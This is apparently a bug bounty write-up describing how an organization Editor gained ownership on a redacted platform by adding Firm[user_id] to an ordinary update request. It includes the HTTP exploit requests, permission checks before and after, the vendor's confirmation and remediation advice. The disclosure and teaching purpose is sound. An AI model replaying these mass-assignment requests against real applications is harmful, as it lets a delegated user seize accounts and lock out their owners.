# From Editor to Owner: One Writable Field Was Enough to Take Over an Organization

**Severity:** High  
**Bounty:** ~$315  
**Platform:** Standoff365

This one came down to a single field that should never have been writable by an editor:

```text
Firm[user_id]
```

The application had a clear permission model.

An organization owner could grant another user an **Editor** role. That editor could modify ordinary organization information, but they could not delete the organization and they were definitely not supposed to own it.

The backend enforced that distinction correctly in most places.

Before exploitation, my editor account had:

```text
edit   = true
delete = false
```

But the general organization update endpoint also accepted the internal ownership field `Firm[user_id]`.

By setting that field to my own user ID, I could transfer ownership of the entire organization to myself.

After the request:

```text
Original owner:
edit   = false
delete = false

Former editor:
edit   = true
delete = true
```

The original owner lost the organization.

The editor became the new owner.

* * *

## Understanding the Permission Model

I tested this using several accounts I controlled.

The basic setup was:

```text
Account A → Organization Owner
Account C → Attacker / Editor
Account B → Additional Administrator
```

I first created a disposable organization using Account A.

A simplified request looked like:

```http
POST /v1/firm/create HTTP/2
Host: [REDACTED]
Authorization: Bearer [OWNER TOKEN]
Content-Type: application/x-www-form-urlencoded

Firm[name]=Ownership Transfer Security Test&
Firm[address]=Controlled test address&
Firm[type]=1
```

The server successfully created the organization.

Before assigning any permissions, I confirmed the expected authorization state.

For the owner:

```http
GET /v1/firm/access?id=[FIRM_ID]&level=edit
```

returned:

```text
true
```

and:

```http
GET /v1/firm/access?id=[FIRM_ID]&level=delete
```

also returned:

```text
true
```

For Account C:

```http
GET /v1/firm/access?id=[FIRM_ID]&level=edit
```

returned:

```text
false
```

Everything was behaving normally.

* * *

## First Negative Control

Before granting the attacker any role, I tried modifying the organization from Account C.

I also included the suspected ownership field:

```http
POST /v1/firm/update?id=[FIRM_ID] HTTP/2
Host: [REDACTED]
Authorization: Bearer [ACCOUNT C TOKEN]
Content-Type: application/x-www-form-urlencoded

Firm[name]=Ownership Transfer Security Test&
Firm[address]=Controlled test address&
Firm[type]=1&
Firm[user_id]=[ACCOUNT_C_USER_ID]
```

The server rejected it:

```json
{
  "status": 403,
  "message": "[Access denied]",
  "data": null
}
```

This was useful.

It showed that the endpoint was not simply unauthenticated or globally writable.

The attack depended on having legitimate edit permission first.

* * *

## Granting Editor Access

Using the owner account, I assigned Account C the application's Editor role for the disposable organization.

The resulting permissions were:

```text
Account C:
edit   = true
delete = false
```

That was exactly what I expected from a delegated editor.

The editor could modify normal organization information, but ownership-level actions were still restricted.

At this point the intended trust boundary was clear:

```text
Owner
 ├─ Edit
 ├─ Delete
 └─ Ownership control

Editor
 ├─ Edit
 └─ No delete / ownership control
```

Then I looked at what the edit endpoint actually accepted.

* * *

## The Ownership Field

The ordinary update endpoint accepted parameters in the form:

```text
Firm[...]
```

While testing additional writable properties, I found that it also accepted:

```text
Firm[user_id]
```

That looked suspicious.

A field called `user_id` on the organization record could easily represent the owner.

So while authenticated as the Editor, I sent a normal update request and supplied my own account ID:

```http
POST /v1/firm/update?id=[FIRM_ID] HTTP/2
Host: [REDACTED]
Authorization: Bearer [EDITOR TOKEN]
Content-Type: application/x-www-form-urlencoded

Firm[name]=Ownership Transfer Security Test&
Firm[address]=Controlled test address&
Firm[type]=1&
Firm[user_id]=[EDITOR_USER_ID]
```

The server returned success:

```json
{
  "status": 200,
  "message": "[Organization updated]",
  "data": null
}
```

That by itself was interesting.

But accepting an unexpected parameter does not automatically mean there is security impact.

I needed to verify what actually changed.

* * *

## The Organization Disappeared From the Owner's Account

After the update, I checked the organization lists for both accounts.

The organization was gone from Account A's list.

It now appeared under Account C.

That strongly suggested that `Firm[user_id]` really was the ownership field.

I then repeated the backend authorization checks.

Before exploitation:

```text
Account A:
edit   = true
delete = true

Account C:
edit   = true
delete = false
```

After exploitation:

```text
Account A:
edit   = false
delete = false

Account C:
edit   = true
delete = true
```

The editor had gained deletion permission.

The original owner had lost both edit and delete permission.

This was not a UI glitch or a misleading organization list.

The backend authorization model itself now treated the former editor as the owner.

* * *

## The Complete Attack Flow

The vulnerability could be reduced to:

```text
Owner grants attacker Editor role
              ↓
Attacker legitimately receives edit permission
              ↓
Attacker calls ordinary /firm/update endpoint
              ↓
Attacker supplies Firm[user_id]=their_own_id
              ↓
Backend updates organization owner
              ↓
Original owner loses access
              ↓
Editor becomes owner
              ↓
Editor gains delete and owner-level permissions
```

The security boundary was supposed to be:

```text
Editor → Can edit organization data
```

Instead it became:

```text
Editor → Can edit organization data
       → Can edit owner field
       → Can become owner
```

* * *

## Why This Was a Privilege Escalation

The attacker was not an unrelated external user.

They already needed an Editor role.

That matters when evaluating the vulnerability.

But the entire purpose of delegated roles is to give someone limited access without giving them ownership.

An owner might reasonably allow another employee, contractor, or partner to:

*   update organization information
    
*   change descriptions
    
*   maintain addresses
    
*   manage ordinary profile data
    

without allowing that person to:

*   seize ownership
    
*   remove the original owner
    
*   gain deletion rights
    
*   override other administrators
    

The vulnerability completely broke that boundary.

It turned:

```text
Delegated Editor
```

into:

```text
Full Organization Owner
```

using the same endpoint the editor was legitimately allowed to call.

* * *

## Testing Another Administrator

I wanted to know what happened when the organization had more than just an owner and an editor.

So I created another disposable organization with:

```text
Account A → Owner
Account C → Editor
Account B → Administrator
```

Before exploitation:

```text
Account C:
edit   = true
delete = false

Account B:
delete = true

Account A:
delete = true
```

I also confirmed that Account C could not directly modify or delete Account B's administrator role.

Then, as Account C, I performed the same ownership transfer:

```http
POST /v1/firm/update?id=[FIRM_ID] HTTP/2
Host: [REDACTED]
Authorization: Bearer [EDITOR TOKEN]
Content-Type: application/x-www-form-urlencoded

Firm[name]=Administrator Impact Security Test&
Firm[address]=Controlled test address&
Firm[type]=1&
Firm[user_id]=[EDITOR_USER_ID]
```

The transfer succeeded.

Afterward:

```text
Account C:
edit   = true
delete = true

Account A:
delete = false

Account B:
delete = false
```

Interestingly, Account B's administrator role record still existed.

But its effective permissions were gone.

So stealing ownership did more than affect the original owner.

It also changed the effective authorization state of other delegated users attached to the organization.

* * *

## Isolating the Vulnerable Parameter

I tested several similar-looking fields to make sure I had identified the correct one.

The following did **not** transfer ownership:

```text
Firm[owner_id]
Firm[group_id]
Firm[firm_id]
```

Another candidate:

```text
Firm[parent_id]
```

was rejected.

Only:

```text
Firm[user_id]
```

produced the ownership change.

I also minimized the request to ensure the state change was tied specifically to that field.

This made the root cause much clearer.

* * *

## More Negative Controls

I performed several controls before considering the finding complete.

An unrelated authenticated user with no role:

```text
POST /v1/firm/update
→ 403
```

A user with a view-only role:

```text
POST /v1/firm/update
→ 403
```

The Editor before exploitation:

```text
edit   = true
delete = false
```

The same Editor after submitting `Firm[user_id]`:

```text
edit   = true
delete = true
```

The original owner after exploitation:

```text
edit   = false
delete = false
```

This showed that the issue required legitimate edit access but allowed that access to be escalated into ownership.

* * *

## What Actually Failed

The problem was classic mass assignment combined with broken authorization.

The backend accepted an entire client-controlled `Firm` object during an ordinary edit operation.

Conceptually, the vulnerable code may have looked something like:

```php
$firm->load($_POST['Firm']);
$firm->save();
```

If `user_id` was included among writable attributes, an Editor could modify it just like the organization's name or address.

The server checked whether the user had permission to edit the organization.

But after passing that check, it allowed the Editor to modify an ownership-sensitive field.

The authorization logic was effectively:

```text
Can user edit this organization?
          ↓
Yes
          ↓
Allow modification of every accepted Firm field
```

What it should have been was:

```text
Can user edit this organization?
          ↓
Yes
          ↓
Allow only fields permitted for Editors
          ↓
Preserve immutable ownership fields
```

Ownership is not ordinary profile data.

It should never have been part of a general-purpose editor-controlled update model.

* * *

## Impact

A malicious or compromised Editor could take permanent control of an organization they were only supposed to help manage.

The demonstrated impact included:

*   unauthorized ownership transfer
    
*   vertical privilege escalation from Editor to Owner
    
*   loss of access for the original owner
    
*   acquisition of deletion rights
    
*   control over organization configuration and management
    
*   disruption of other delegated administrators
    
*   bypass of the intended role hierarchy
    

This is particularly dangerous because the attacker begins with legitimate access.

Nothing about an Editor updating organization details would necessarily look unusual until ownership had already changed.

* * *

## Reporting and Triage

I submitted the finding with the full multi-account PoC, backend permission checks, negative controls, and the additional administrator-impact validation.

The program first moved the report into vendor review.

A few days later, they confirmed the behavior:

> A user with the Editor role could transfer ownership of another user's organization to themselves through the `Firm[user_id]` field.

They also confirmed the post-exploitation impact:

*   the original owner lost access
    
*   the former Editor received owner-level permissions
    
*   deletion rights were gained
    

The report was accepted as **High severity**.

The bounty was **₽25,000**, approximately **$315** at the time of the award.

The issue was then passed to the responsible team for remediation.

* * *

## Remediation

The most important fix is to remove ownership fields from the general organization update model entirely.

An Editor should never be able to submit:

```text
Firm[user_id]
```

and have it affect ownership.

The backend should instead preserve the existing owner when processing ordinary edits.

Conceptually:

```php
$firm->name = $request->name;
$firm->address = $request->address;
$firm->type = $request->type;

// Never taken from an editor-controlled request
// $firm->user_id = $request->user_id;
```

If ownership transfer is a legitimate feature, it should use a dedicated workflow with stronger controls.

For example:

```text
Current owner initiates transfer
          ↓
Reauthentication
          ↓
Receiving user confirms
          ↓
Ownership changes
          ↓
Both parties notified
          ↓
Audit event recorded
```

Ownership should never change as a side effect of editing an organization's normal metadata.

* * *

## Hunter Takeaways

### Look for Ownership Fields in Ordinary Update Requests

Whenever an application lets lower-privileged users edit an object, inspect which attributes the backend accepts.

Interesting fields often include:

```text
user_id
owner_id
account_id
organization_id
role_id
created_by
admin_id
```

If the application blindly mass-assigns them, an ordinary edit endpoint can become a privilege-escalation endpoint.

* * *

### Permission Checks at the Endpoint Are Not Enough

This endpoint did perform authorization.

An unrelated user received a `403`.

That might make the implementation look secure at first.

The problem existed one layer deeper.

The Editor was legitimately allowed to call the endpoint, but the backend failed to restrict **which properties** an Editor was allowed to modify.

Authorization needs to consider both:

```text
Can this user perform this action?
```

and:

```text
Can this user modify this specific field?
```

* * *

### Verify the State Change Through Backend Permissions

After the update succeeded, I did not rely only on the UI.

I checked:

```text
edit
delete
```

permissions from both accounts.

That proved the backend had actually transferred ownership.

This distinction matters.

A firm appearing under another user's dashboard is interesting.

The original owner losing backend authorization while the Editor gains delete rights is much stronger evidence.

* * *

### Use Negative Controls

The negative controls were important here because they showed exactly where the privilege boundary failed.

Without a role:

```text
403
```

With view-only access:

```text
403
```

With Editor access:

```text
Update permitted
```

With Editor access plus `Firm[user_id]`:

```text
Ownership transferred
```

That isolates the bug far better than simply showing a successful malicious request.

* * *

### Test the Effect on Other Roles

Privilege-escalation findings can affect more than the victim owner.

In this case, another administrator's role record survived the transfer, but their effective permissions disappeared.

Testing the wider authorization model helped show that ownership was a central security boundary rather than just a cosmetic account field.

* * *

## Final Thoughts

The endpoint was supposed to allow Editors to update organization information.

It did that correctly.

The mistake was allowing the same user-controlled object to include:

```text
Firm[user_id]
```

The full chain was:

```text
Legitimate Editor access
          ↓
Writable ownership field
          ↓
Firm[user_id]=attacker
          ↓
Organization transferred
          ↓
Original owner loses access
          ↓
Editor gains owner and delete permissions
```

This is why mass assignment bugs can become much more serious when authorization-sensitive fields are mixed with ordinary editable properties.

The endpoint did not fail because it allowed the Editor to edit.

It failed because it never decided where **editing should stop**.
